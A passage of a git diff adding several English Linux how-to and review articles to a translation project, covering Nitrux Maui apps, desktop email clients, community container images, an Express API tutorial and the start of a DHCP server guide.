section. The overview section gives you an excellent summary of your file system, with favourites, image thumbnails and search options. This gives you quick access to your files, and you don’t need to always go to the usual directory browsing mode. + +![Index File Manager – overview screen][5] + +#### Nota – Text Editor + +The [Nota][6] is a general-purpose and straightforward text editor. The user interface is clean and concise. That helps you do your development work or allows you to take any quick notes in a much faster way. + +Thanks to the Maui kit, the terminal window option is built-in. If you wish to open a terminal and do some essential work during any workflow, you can do that without leaving the text editor window. + +Other features that make it a most desirable text editors are – + +* Syntax highlighting +* Plugin Support +* Go to the Line number option +* Share and Favorite option +* Autosave +* Supports dark and light themes + +This text editor reminds me of the great Gedit, which is [not a default editor anymore][7] in GNOME. Gedit [has all the features][8]of this text editor via plugins. + +![Nota Text Editor][9] + +#### Vvave – Music organizer + +The next Nitrux OS app we would like to feature here in this list is [Vvave][10]. This is a music player with full music management features. It can discover music in your local system, network, or cloud services such as Nextcloud. + +Although it is a music player, its primary purpose is music management. You can create playlists, tag your music files and so on. The user interface has several views with album arts, search features and album-only views. + +![Vvave Music player and organizer][11] + +#### Clip Video Player + +The [Clip][12] is the convergence video player for desktop and mobile phones that supports the Maui kit. It is a simple video player that supports limited hardware decoding and playing from internet streaming services. The Clip video player is based on the MPV video player. All the usual features of a video player are supported in Clip. + +##### Quick features of Clip + +* Local, network and internet streaming playback (limited) +* Hardware decoding +* Tagging of videos for management +* Subtitles support +* Based on the MPV video player + +![Clip Video Player][13] + +#### Station – Terminal + +The [Station][14] is a terminal application and my favourite Nitrux application based on the Maui kit. Thanks to the default convergence support, this terminal application can work well on Plasma-based mobile phones. + +It brings a friendly default colour theme and supports split views, tabs, and keyboard shortcuts for touch-based devices. + +Station also supports a distraction-free work environment, where you can hide the top bar to make it a more productive terminal. + +![Station Terminal application][15] + +#### Shelf – Document Viewer + +The [Shelf][16] is the default document viewer for Nitrux OS and operating systems that support the Maui kit. It can read and helps you to annotate documents of several types. Most major file types are supported, such as PDF, ODT, etc. + +One of the unique features of this application is that you can browse the document pages in horizontal mode, other than the usual vertical mode. A nice feature is helpful for users using touch-based devices. + +The annotation feature allows you to annotate with a pen, highlighter and eraser in PDF and other documents and save them. + +![Shelf Document Viewer][17] + +#### Pix + +The final application in this list is [Pix][18], an essential image viewer that supports all types of image formats. The Pix helps you browse the collection of images and tag them for quick discovery. + +You can view the image metadata and basic image edition as well. The image editing features to support the below functionalities – + +* Changing brightness, contrast, saturation, exposure +* Supports layers +* Cropping and rotating + +However, you can not annotate with arrows or add any text to the image. + +![Pix Image Viewer][19] + +### Installing these Maui applications + +All these applications come pre-loaded in Nitrux Linux distribution. However, if you like to install these in Ubuntu or Fedora-based systems, you can use the AppImage standalone executables from the below link. After downloading, make the file executable and run. + +Note: If you are using Android mobile phones, you can also find the official .apk files in the same path mentioned below! + +| Maui application | download path for AppImage and .apk | +| :- | :- | +| Index – File Manager | https://download.kde.org/stable/maui/index/ | +| Nota – Text Editor | https://download.kde.org/stable/maui/nota/ | +| Vvave – Music organizer | https://download.kde.org/stable/maui/vvave/ | +| Clip Video Player | https://download.kde.org/stable/maui/clip/ | +| Station – Terminal | https://download.kde.org/stable/maui/station/ | +| Shelf – Document Viewer | https://download.kde.org/stable/maui/shelf/ | +| Pix | https://download.kde.org/stable/maui/pix/ | + +You can open any of the paths. Then go to the latest version folder and download the AppImage or .apk file as per your need. A sample guide is presented below. + +![Downlaod Nitrux Maui application - appimage and apk files][20] + +### Closing Notes + +I feel most of the above Nitrux or Maui applications have the same essential features, such as tagging and other items. The reason is all of them are based on Maui technology. But that’s fine because all these apps perfectly support convergence and can work on your desktop, tabs and Plasma-based mobile phones. + +Thanks to Maui and KDE technology, I feel the apps look friendly with built-in dark mode supports and features. + +So, what is your favourite application on this list? Let me know in the comment box down below. + +Cheers. + +*Some image credits – Maui, Nitrux team.* + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/top-nitrux-maui-applications/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://nxos.org/ +[2]: https://mauikit.org/apps/ +[3]: https://invent.kde.org/maui/index-fm +[4]: https://www.debugpoint.com/wp-content/uploads/2022/03/Index-file-manager-showing-split-view-and-terminal.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/03/Index-File-Manager-overview-screen.jpg +[6]: https://mauikit.org/apps/nota/ +[7]: https://www.debugpoint.com/2021/12/gnome-text-editor/ +[8]: https://www.debugpoint.com/2021/04/gedit-features/ +[9]: https://www.debugpoint.com/wp-content/uploads/2022/03/Nota-Text-Editor.jpg +[10]: https://mauikit.org/apps/vvave/ +[11]: https://www.debugpoint.com/wp-content/uploads/2022/03/Vvave-Music-player-and-organizer.jpg +[12]: https://mauikit.org/apps/clip/ +[13]: https://www.debugpoint.com/wp-content/uploads/2022/03/Clip-Video-Player.jpg +[14]: https://mauikit.org/apps/station/ +[15]: https://www.debugpoint.com/wp-content/uploads/2022/03/Station-Terminal-application.jpg +[16]: https://mauikit.org/apps/shelf/ +[17]: https://www.debugpoint.com/wp-content/uploads/2022/03/Shelf-Document-Viewer.jpg +[18]: https://mauikit.org/apps/pix/ +[19]: https://www.debugpoint.com/wp-content/uploads/2022/03/Pix-Image-Viewer.jpg +[20]: https://www.debugpoint.com/wp-content/uploads/2022/03/Downlaod-Nitrux-Maui-application-appimage-and-apk-files-1024x584.jpg diff --git a/sources/tech/20220718 5 Best and Free Desktop Email Clients for Linux and Windows.md b/sources/tech/20220718 5 Best and Free Desktop Email Clients for Linux and Windows.md new file mode 100644 index 0000000000..3cf8cd2ef7 --- /dev/null +++ b/sources/tech/20220718 5 Best and Free Desktop Email Clients for Linux and Windows.md @@ -0,0 +1,192 @@ +[#]: subject: "5 Best and Free Desktop Email Clients for Linux and Windows" +[#]: via: "https://www.debugpoint.com/best-email-client-linux-windows/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +5 Best and Free Desktop Email Clients for Linux and Windows +====== +If you are looking for free Email clients for Linux and Windows – here are 5 of them we list that you can try and consider for casual or professional uses. + +Web-based email is popular today and can be accessed via browsers or mobile apps. However, in big and medium enterprises, generic users still prefer native desktop email clients for heavy and office uses. Microsoft Outlook is the most popular desktop email client, which is, of course, not free, and you have to pay a huge licence fee to use it. + +There are multiple options for free desktop email clients available. Here are the best 5 free and open source email clients you can try and then deploy for your needs. + +### Quick Snapshot + +Here is a quick glimpse of 5 email desktop clients before you read the features and choose yourself. + +| Best Email Client Programs | Price | Platforms | Snap | Flatpak | +| :- | :- | :- | :- | :- | +| Thunderbird | FREE | Linux, Mac and Windows | Yes | Yes | +| Evolution | FREE | Linux | No | Yes | +| Geary | FREE | Linux | No | Yes | +| Claws Mail | FREE | Linux, Mac and Windows | Yes | No | +| SeaMonkey | FREE | Linux, Mac and Windows | No | No | + +### 5 Best Free Email Clients for Linux + +#### 1. Thunderbird + +Mozilla Foundation developed Thunderbird is the best free, open-source, cross-platform email client available today. It comes with email, chat support, an RSS reader and other features. + +![Thunderbird email client][1] + +A quick summary of Thunderbird’s features: + +##### Features + +* Email with POP, IMAP, and LDAP support +* Fast Search, Saved Search +* Spam filtering +* Security support via TLS/SSL connection to mail servers +* Secure email support via S/MIME +* Calendar Support via Lightning extension – Can integrate Google Calendar +* Microsoft Exchange Server integration with Paid extensions Owl +* HTML support in emails +* Desktop Notification +* Feature addition via Extensions +* Theme Support +* Multiple Language support + +##### How to Download + +You can download Thunderbird from the official page. + +[Download Thunderbird][2] + +#### 2. Evolution + +[Evolution][3], the GNOME project, combines email, address book, calendar, and task manager features. Evolution is free and open-source software available for Linux systems. + +![Evolution email client][4] + +Here are some of its features: + +##### Features + +* POP, IMAP and SMTP Support +* Secure network connection with SSL, TLS +* Automatic spam filtering +* Advanced email search +* Exchange server support using plug-ins +* Calendar support using Google Calendar and iCalendar +* Contact management with local address books and Google address books + +##### How to Download and install + +In Ubuntu-based Linux systems, you can install Evolution from the below commands from the terminal. Or from Software. Run the below commands from terminal to install Evolution in Ubuntu-based systems: + +``` +sudo apt install evolution evolution-ews +``` + +Note: evolution-ews is to connect to Microsoft Exchange. + +#### 3. Geary + +[Geary][5] is a free and open-source email client for Linux. Written in Vala with WebKitGtk, Geary is different from other desktop email clients. + +![Geary email client][6] + +##### Features + +* Conversation View for emails +* Supports IMAP servers – GMAIL, Yahoo! Mail, Outlook.com +* Send as another identity +* HTML Support in email +* Search with options +* Desktop notifications + +##### How to Download + +Geary is available for Linux only. For Ubuntu-based systems, search ‘geary’ in software and click install. You can also install via command line using below commands in Ubuntu based systems. + +``` +sudo apt install geary +``` + +#### 4. Claws Mail + +[Claws Mail][7] is a free and open source GTK+ based email client with easy configuration and many features. It supports and stores email in MH mailbox format. Claws email is available for Windows and Linux. + +![Claws email][8] + +##### Features + +* Secured email client with SSL and GPG support +* Search and filtering +* Customizable toolbar and themes support +* Templates and plug-in +* Support for PDF viewer, HTML, Calendar, Anti-spam filtering using plug-ins + +##### How to Download + +All download options for Windows and Linux are available in the link below via the official website. + +[Download Claws mail][9] + +#### 5. SeaMonkey + +[SeaMonkey][10] is a free and open-source internet suite, and SeaMonkey mail is a component of the same. It keeps the traditional looks of an email client, and it is available in Windows, Linux and Mac. SeaMonkey mail shares code from Mozilla Thunderbird. + +![Sea Monkey][11] + +Here are some of its features. + +##### Features + +* Multiple email account support +* Junk email detection +* HTML support in email messages +* Message filters +* Address books + +##### How to download + +Download SeaMonkey via below link via the official website. + +[Download SeaMonkey][12] + +### Summary + +While wrapping up the best email clients for Linux, I would recommend Thunderbird for serious work and enterprise-wide deployment, if needed, along with casual users. However, you can still try other four as per your need and choice. + +I purposefully did not include several below email clients in this article due to ‘not-so-good’ user feedback and some of them are ‘not free’. + +* Sylpheed +* Zimbra +* Mutt +* Mailspring +* Hiri (paid) + +So, what are the best email clients for Linux? Let me know in the comment box below. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/best-email-client-linux-windows/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2019/06/Thunderbird.png +[2]: https://www.thunderbird.net/ +[3]: https://wiki.gnome.org/Apps/Evolution +[4]: https://www.debugpoint.com/wp-content/uploads/2019/06/Evolution.png +[5]: https://wiki.gnome.org/Apps/Geary +[6]: https://www.debugpoint.com/wp-content/uploads/2019/06/Geary.png +[7]: https://www.claws-mail.org/ +[8]: https://www.debugpoint.com/wp-content/uploads/2019/06/Claws-mail.png +[9]: https://www.claws-mail.org/downloads.php?section=downloads +[10]: http://www.seamonkey-project.org/ +[11]: https://www.debugpoint.com/wp-content/uploads/2019/06/SeaMonkey-Mail.png +[12]: http://www.seamonkey-project.org/releases/ diff --git a/sources/tech/20220718 Community container images available for applications development.md b/sources/tech/20220718 Community container images available for applications development.md new file mode 100644 index 0000000000..e372d172fc --- /dev/null +++ b/sources/tech/20220718 Community container images available for applications development.md @@ -0,0 +1,391 @@ +[#]: subject: "Community container images available for applications development" +[#]: via: "https://fedoramagazine.org/community-container-images-available-for-applications-development/" +[#]: author: "Petr Hracek https://fedoramagazine.org/author/phracek/" +[#]: collector: "lujun9972" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Community container images available for applications development +====== + +![][1] + +Photo by [Paul Teysen][2] on [Unsplash][3] + +This article aims to introduce community containers, where users can pull them from, and use them. The three groups of containers available for use by community users are discussed. These are: Fedora, CentOS, and CentOS Stream. + +### What are the differences between the containers? + +Fedora containers are based on the latest stable Fedora content, and CentOS-7 containers are based on components from the CentOS-7 and related SCLo SIG components. And finally, CentOS Stream containers are based on either CentOS Stream 8 or CentOS Stream 9. + +Each container, e.g. [s2i-php-container][4] or [s2i-perl-container][5], contain the same packages which are available for a given operating system. It means, that from a functionality point of view these example containers provides the PHP interpreter or Perl interpreter,respectively.  + +Differences can be only in versions, which are available for each distribution. For example: + +Fedora PHP containers are available in these versions: + + * [PHP-80][6] for Fedora 35 + + + +CentOS-7 PHP containers are available in these versions: + + * [PHP-73][7] + + + +CentOS Stream 9 PHP containers are available in these versions: + + * [PHP-74][8] + + + +CentOS Stream 8 is not mentioned here for the PHP use case since users can pull it directly from the Red Hat Container Catalog registry as a [UBI][9] image. Containers that are not UBI based have CentOS Stream 8 repositories in the [quay.io/sclorg][10] namespace with repository suffix “-c8s”. + +### Fedora container images moved recently + +The Fedora container images have recently moved to the [quay.io/fedora][11] registry organization. All of them use [Fedora:35][12], and later [Fedora:36 ,][13]as a base image. The CentOS-7 containers are stored in the [quay.][14][io][14][/centos7][14] registry organization. All of them use [CentOS][15][-7][15] as a base image. + +### CentOS Stream container images + +The CentOS Stream containers are stored in the [quay.io/sclorg][10] registry organization. + +The base image used for our CentOS Stream 8 containers is [CentOS Stream 8][16] with the tag “stream8”. + +The base image used for our CentOS Stream 9 containers is [CentOS Stream 9][16] with the tag “stream9”. + +In this registry organization, each container contains a “suffix”, either “c8s”  for CentOS Stream 8 or “c9s” for CentOS Stream 9, respectively. + +See container [PHP-74][8] for CentOS Stream 9. + +### Frequency of container image updates and testing + +The community-based containers are updated in two ways. + +First, when a pull request in the container sources that live under github.com/sclorg organization is merged, the corresponding versions in the GitHub repository are built and pushed into the proper repository. + +Second, an update process is also implemented by GitHub Actions set up in each of our GitHub repositories. The base images, like “s2i-core” and “s2i-base”, are built each Tuesday at 1:00 pm. The rest of the containers are built each Wednesday at 1:00 pm. + +This means every package update or change is updated in the container image within a few days, not later than after a week. + +Each container that is not beyond its end of life is tested by our nightly builds. If we discover or detect an error on some of our containers, we attempt to fix it, but there are no guarantees provided. + +### What container shall I use? + +In the end, what containers are we providing? That’s a great question. All containers live in the GitHub organization + +The list of containers with their upstreams is summarized here: + + * PostgreSQL server – + * Nginx web server – + * Redis server – + * Varnish cache – + * MySQL server – + * MariaDB server – + * Apache HTTPD server – + * PHP application container image – + * Perl application container image – [https://][5][github][5][.com/sclorg/s2i-perl-container][5] + * Ruby application container image – + * Node.js application container image – + * Python application container image – + + + +### How to use the container image I picked? + +All container images are tuned up to be fully functional in the OpenShift (or [OKD][17] and even Kubernetes itself) without any trouble. Some containers support the source-to-image build strategy while some are expected to be used as daemons (like databases, for instance). For specific steps, please, navigate to the GitHub page for the respective container image by following one of the links above. + +### Finally, Some Real examples + +Let’s show how to use PHP container images across all platforms that we support. + +First of all, clone the container GitHub repository using this command: + +``` + + $ git clone https://github.com/sclorg/s2i-php-container + +``` + +Switch to the following directory created by the cloning step: + +``` + + $ cd s2i-php-container/examples/from-dockerfile + +``` + +#### Fedora example + +Start by pulling the Fedora PHP-80 image with this command: + +``` + + $ podman pull quay.io/fedora/php-80 + +``` + +Modify “Dockerfile” so it refers to Fedora php-80 image. “Dockerfile” then looks like: + +``` + + FROM quay.io/fedora/php-80 + + USER 0 + # Add application sources + ADD app-src . + RUN chown -R 1001:0 . + USER 1001 + + # Install the dependencies + RUN TEMPFILE=$(mktemp) && \ + curl -o "$TEMPFILE" "https://getcomposer.org/installer" && \ + php <"$TEMPFILE" && \ + ./composer.phar install --no-interaction --no-ansi --optimize-autoloader + + # Run script uses standard ways to configure the PHP application + # and execs httpd -D FOREGROUND at the end + # See more in /s2i/bin/run in this repository. + # Shortly what the run script does: The httpd daemon and php need to be + # configured, so this script prepares the configuration based on the container + # parameters (e.g. available memory) and puts the configuration files into + # the appropriate places. + # This can obviously be done differently, and in that case, the final CMD + # should be set to "CMD httpd -D FOREGROUND" instead. + CMD /usr/libexec/s2i/run + +``` + +##### Check if the application works properly + +Build it by using this command: + +``` + + $ podman build -f Dockerfile -t cakephp-app-80 + +``` + +Now run the application using this command: + +``` + + $ podman run -ti --rm -p 8080:8080 cakephp-app-80 + +``` + +To check the PHP version use these commands: + +``` + + $ podman run -it –rm cakephp-app-80 bash + $ php –version + +``` + +To check if everything works properly use this command: + +``` + + $ curl -s -w ‘%{http_code}’ localhost:8080 + +``` + +This should return HTTP code 200. If you would like to see a web page enter “localhost:8080” in your browser. + +#### CentOS 7 example + +Start by pulling the CentOS-7 PHP-73 image using this command: + +``` + + $ podman pull quay.io/centos7/php-73-centos7 + +``` + +Modify “Dockerfile” so it refers to CentOS php-73 image. + +“Dockerfile” then looks like this: + +``` + + FROM quay.io/centos7/php-73-centos7 + + USER 0 + # Add application sources + ADD app-src . + RUN chown -R 1001:0 . + USER 1001 + + # Install the dependencies + RUN TEMPFILE=$(mktemp) && \ + curl -o "$TEMPFILE" "https://getcomposer.org/installer" && \ + php <"$TEMPFILE" && \ + ./composer.phar install --no-interaction --no-ansi --optimize-autoloader + + # Run script uses standard ways to configure the PHP application + # and execs httpd -D FOREGROUND at the end + # See more in /s2i/bin/run in this repository. + # Shortly what the run script does: The httpd daemon and php needs to be + # configured, so this script prepares the configuration based on the container + # parameters (e.g. available memory) and puts the configuration files into + # the appropriate places. + # This can obviously be done differently, and in that case, the final CMD + # should be set to "CMD httpd -D FOREGROUND" instead. + CMD /usr/libexec/s2i/run + +``` + +##### Check if the application works properly + +Build it using this command: + +``` + + $ podman build -f Dockerfile -t cakephp-app-73 + +``` + +Now run the application using this command: + +``` + + $ podman run -ti --rm -p 8080:8080 cakephp-app-73 + +``` + +To check the PHP version us these commands: + +``` + + $ podman run -it –rm cakephp-app-73 bash + $ php –version + +``` + +To check if everything works properly use this command: + +``` + + curl -s -w ‘%{http_code}’ localhost:8080 + +``` + +which should return HTTP code 200. If you would like to see a web page enter localhost:8080 in your browser. + +#### RHEL 9 UBI 9 real example + +Start by pulling the RHEL9 UBI-based PHP-80 image using the command: + +``` + + $ podman pull registry.access.redhat.com/ubi9/php-80 + +``` + +Modify “Dockerfile” so it refers to the RHEL9 ubi9 php-80 image. + +“Dockerfile” then looks like: + +``` + + FROM registry.access.redhat.com/ubi9/php-80 + + USER 0 + # Add application sources + ADD app-src . + RUN chown -R 1001:0 . + USER 1001 + + # Install the dependencies + RUN TEMPFILE=$(mktemp) && \ + curl -o "$TEMPFILE" "https://getcomposer.org/installer" && \ + php <"$TEMPFILE" && \ + ./composer.phar install --no-interaction --no-ansi --optimize-autoloader + + # Run script uses standard ways to configure the PHP application + # and execs httpd -D FOREGROUND at the end + # See more in /s2i/bin/run in this repository. + # Shortly what the run script does: The httpd daemon and php needs to be + # configured, so this script prepares the configuration based on the container + # parameters (e.g. available memory) and puts the configuration files into + # the appropriate places. + # This can obviously be done differently, and in that case, the final CMD + # should be set to "CMD httpd -D FOREGROUND" instead. + CMD /usr/libexec/s2i/run + +``` + +##### Check if the application works properly + +Build it using this command: + +``` + + $ podman build -f Dockerfile -t cakephp-app-80-ubi9 + +``` + +Now run the application using this command: + +``` + + $ podman run -ti --rm -p 8080:8080 cakephp-app-80-ubi9 + +``` + +To check the PHP version use these commands: + +``` + + $ podman run -it –rm cakephp-app-80-ubi9 bash + $ php –version + +``` + +To check if everything works properly use this command: + +``` + + curl -s -w ‘%{http_code}’ localhost:8080 + +``` + +which should return HTTP code 200. If you would like to see a web page enter localhost:8080 in your browser. + +### What to do in the case of a bug or enhancement + +Just file a bug (known as an “issue” in GitHub) or even a pull request with a fix, to one of the GitHub repositories mentioned in the previous section. + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/community-container-images-available-for-applications-development/ + +作者:[Petr Hracek][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/phracek/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2022/07/RHSCL_containers-816x345.jpg +[2]: https://unsplash.com/@hooverpaul55?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/container-port?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://github.com/sclorg/s2i-php-container +[5]: https://github.com/sclorg/s2i-perl-container +[6]: https://quay.io/repository/fedora/php-80 +[7]: https://quay.io/repository/centos7/php-73-centos7 +[8]: https://quay.io/repository/sclorg/php-74-c9s +[9]: https://www.redhat.com/en/blog/introducing-red-hat-universal-base-image +[10]: https://quay.io/organization/sclorg +[11]: https://quay.io/organization/fedora +[12]: http://quay.io/fedora/fedora:35 +[13]: http://quay.io/fedora/fedora:36 +[14]: https://quay.io/organization/centos7 +[15]: http://quay.io/centos/centos:centos7 +[16]: https://quay.io/repository/centos/centos +[17]: https://developers.redhat.com/blog/2018/08/03/okd-renaming-of-openshift-origin-with-3-10-release# diff --git a/sources/tech/20220718 Create a JavaScript API in 6 minutes.md b/sources/tech/20220718 Create a JavaScript API in 6 minutes.md new file mode 100644 index 0000000000..677fcc67f1 --- /dev/null +++ b/sources/tech/20220718 Create a JavaScript API in 6 minutes.md @@ -0,0 +1,275 @@ +[#]: subject: "Create a JavaScript API in 6 minutes" +[#]: via: "https://opensource.com/article/22/7/javascript-api-express" +[#]: author: "Jessica Cherry https://opensource.com/users/cherrybomb" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Create a JavaScript API in 6 minutes +====== +Express yourself by coding a fun API using Express, a NodeJS minimalist web framework. + +This article demonstrates creating a base API with Express and JavaScript. Express is a NodeJS minimalist web framework. This combination allows for minimal effort to get an API up and running at the speed of light. If you have six minutes of free time, you can get this API working to do something useful. + +### Get started with NodeJS + +What you need for this project is the NodeJS version of your choice. In this example, I use [NodeJS][2] and [HTTPie][3] for testing, a web browser, and a terminal. Once you have those available, you're ready to start. Let's get this show on the road! + +Set up a project directory and install the tools to get started: + +``` +$ mkdir test-api +``` + +The `npm init` command creates the package JSON for our project below. Type `npm init` and press enter several times. The output is shown below: + +``` +$ npm init + +Press ^C at any time to quit. +package name: (test-api) +version: (1.0.0) +description: +entry point: (index.js) +test command: +git repository: +keywords: +author: +license: (ISC) +About to write to /Users/cherrybomb/test-api/package.json: + +{ +  "name": "test-api", +  "version": "1.0.0", +  "description": "", +  "main": "index.js", +  "scripts": { +    "test": "echo \"Error: no test specified\" && exit 1" +  }, +  "author": "", +  "license": "ISC" +} + + +Is this OK? (yes) +``` + +This utility walks you through creating a `package.json` file. It only covers the most common items, and tries to guess sensible defaults. See `npm help init` for definitive documentation on these fields and exactly what they do. + +Use `npm install {pkg}` afterward to install a package and save it as a dependency in the `package.json` file. + +Next, install Express using the [npm CLI][4]: + +``` +$ npm install express Output shown below + +npm WARN cherrybomb No description +npm WARN cherrybomb No repository field. +npm WARN cherrybomb No license field. + ++ express@4.18.1 +added 60 packages from 39 contributors and audited 136 packages in 4.863s + +16 packages are looking for funding +  run `npm fund` for details + +found 0 vulnerabilities +``` + +Finally, create your source directory and your `index.js` file, which is where the application code lives: + +``` +$ mkdir src +$ touch src/index.js +``` + +Time to code! + +### Code an API + +For your first act of coding, make a simple "hello world" API call. In your `index.js` file, add the code snippet below: + +``` +const express = require('express') +const app = express() +const port = 5000 + +app.get('/', (req, res) => { +  res.send('Hello World!') +}) + +app.listen(port, () => { +  console.log(`Example app listening on port ${port}`) +}) +``` + +Each of these constant variables is available in the scopes below. Because you're not using the following scopes within the code, these constants are used without too much extra thought. + +When you call `app.get`, you define the `GET{rest article needed}` endpoint to a forward slash. This also sets the "hello world" response. + +Finally, in the last section, you will start your app on port 5000. The output on your terminal shows your defined message in a file called `console.log`. + +To start your application, run the following command, and see the output as shown: + +``` +$ test-api → node ./src/index.js +Example app listening on port 5000 +``` + +### Test the API + +Now that everything is up and running, make a simple call to ensure your API works. For the first test, just open a browser window and navigate to `localhost:5000`. + +![Express API Hello World][5] + +(Jessica Cherry, CC BY-SA 4.0) + +Next, check out what HTTPie says about the API call: + +``` +HTTP/1.1 200 OK +Connection: keep-alive +Content-Length: 12 +Content-Type: text/html; charset=utf-8 +Date: Tue, 21 Jun 2022 14:31:06 GMT +ETag: W/"c-Lve95gjOVATpfV8EL5X4nxwjKHE" +Keep-Alive: timeout=5 +X-Powered-By: Express + +Hello World! +``` + +And there you have it! One whole working API call. So what's next? Well, you could try some changes to make it more interesting. + +### Make your API fun + +The "hello world" piece is now done, so it's time to do some cool math. You'll do some counts instead of just "hello world." + +Change your code to look like this: + +``` +const express = require('express') +const app = express() +const port = 5000 + +let count = 0; + +app.get('/api', (req, res) => { +res.json({count}) +}) + +app.post('/api', (req, res) => { +++count; +res.json({count}); +}); + +app.listen(port, () => { +console.log(`Example app listening on port ${port}`) +}) +``` + +Aside from a `GET` command in your code, you now have a `POST` to make some changes to your count. With count defined as **0**, the `LET` command allows changes to the `COUNT` variable. + +In `app.get`, you get the count, and in `app.post`, you **++count**, which counts upwards in increments of 1. When you rerun the `GET`, you receive the new number. + +Try out the changes: + +``` +test-api → node ./src/index.js +Example app listening on port 5000 +``` + +Next, use HTTPie to run the `GET` and `POST` operations for a test to confirm it works. Starting with `GET`, you can grab the count: + +``` +test-api → http GET 127.0.0.1:5000/api +HTTP/1.1 200 OK +Connection: keep-alive +Content-Length: 11 +Content-Type: application/json; charset=utf-8 +Date: Tue, 21 Jun 2022 15:23:06 GMT +ETag: W/"b-ch7MNww9+xUYoTgutbGr6VU0GaU" +Keep-Alive: timeout=5 +X-Powered-By: Express + +{ +    "count": 0 +} +``` + +Then do a `POST` a couple of times, and watch the changes: + +``` +test-api → http POST 127.0.0.1:5000/api +HTTP/1.1 200 OK +Connection: keep-alive +Content-Length: 11 +Content-Type: application/json; charset=utf-8 +Date: Tue, 21 Jun 2022 15:28:28 GMT +ETag: W/"b-qA97yBec1rrOyf2eVsYdWwFPOso" +Keep-Alive: timeout=5 +X-Powered-By: Express + +{ +    "count": 1 +} + + +test-api → http POST 127.0.0.1:5000/api +HTTP/1.1 200 OK +Connection: keep-alive +Content-Length: 11 +Content-Type: application/json; charset=utf-8 +Date: Tue, 21 Jun 2022 15:28:34 GMT +ETag: W/"b-hRuIfkAGnfwKvpTzajm4bAWdKxE" +Keep-Alive: timeout=5 +X-Powered-By: Express + +{ +    "count": 2 +} +``` + +As you can see, the count goes up! Run one more `GET` operation and see what the output is: + +``` +test-api → http GET 127.0.0.1:5000/api +HTTP/1.1 200 OK +Connection: keep-alive +Content-Length: 11 +Content-Type: application/json; charset=utf-8 +Date: Tue, 21 Jun 2022 15:29:41 GMT +ETag: W/"b-hRuIfkAGnfwKvpTzajm4bAWdKxE" +Keep-Alive: timeout=5 +X-Powered-By: Express + +{ +    "count": 2 +} +``` + +### The end and the beginning + +I specialize in infrastructure and [Terraform][6], so this was a really fun way to learn and build something quickly in a language I'd never used before. JavaScript moves fast, and it can be annoying to see errors that seem obscure or obtuse. I can see where some personal opinions have judged it harshly as a language, but it's a strong and useful tool. I hope you enjoyed this walkthrough and learned something new and cool along the way. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/javascript-api-express + +作者:[Jessica Cherry][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/cherrybomb +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/OSDC_women_computing_2.png +[2]: https://nodejs.org/en/download/ +[3]: https://opensource.com/article/19/8/getting-started-httpie +[4]: https://github.com/npm/cli +[5]: https://opensource.com/sites/default/files/2022-07/express-api-hello-world.png +[6]: https://opensource.com/article/20/7/terraform-kubernetes diff --git a/sources/tech/20220718 How I configure a DHCP server on my personal network.md b/sources/tech/20220718 How I configure a DHCP server on my personal network.md new file mode 100644 index 0000000000..adb287d97f --- /dev/null +++ b/sources/tech/20220718 How I configure a DHCP server on my personal network.md @@ -0,0 +1,464 @@ +[#]: subject: "How I configure a DHCP server on my personal network" +[#]: via: "https://opensource.com/article/22/7/configure-dhcp-server" +[#]: author: "David Both https://opensource.com/users/dboth" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How I configure a DHCP server on my personal network +====== +The Dynamic Host Configuration Protocol (DHCP) provides network configuration data to client hosts on a network, allowing for centralized network configuration management. + +![A network diagram][1] + +Image by: Opensource.com + +The Dynamic Host Configuration Protocol (DHCP) provides a centralized and automated method for configuring the network attributes of hosts when they connect to the network. The DHCP server assigns IP addresses to hosts, along with configuration information such as DNS servers, the domain name used for DNS searches, the default gateway, an NTP (Network Time Protocol) server, a server from which a network boot can be performed if necessary, and more. DHCP eliminates the need to configure each network host individually. + +DHCP is also useful for configuring laptops, mobile phones, tablets, and other devices which might connect as unknown guests. This configuration is typical for WiFi access in public places. However, DHCP offers even more advantages when used in a closed, private network to manage static IP address assignments for known hosts using the central DHCP database. + +The DHCP server uses a database of information created by the sysadmin. This database is entirely contained in the `/etc/dhcp/dhcpd.conf` configuration file. DHCPD stands for *DHCP Daemon*, which is the background server process. Like all well-designed Linux configuration files, it is a simple ASCII plain text file. This structure means that it is open and knowable. It can be examined by standard, simple text manipulation tools like `cat` and `grep`, and be modified by 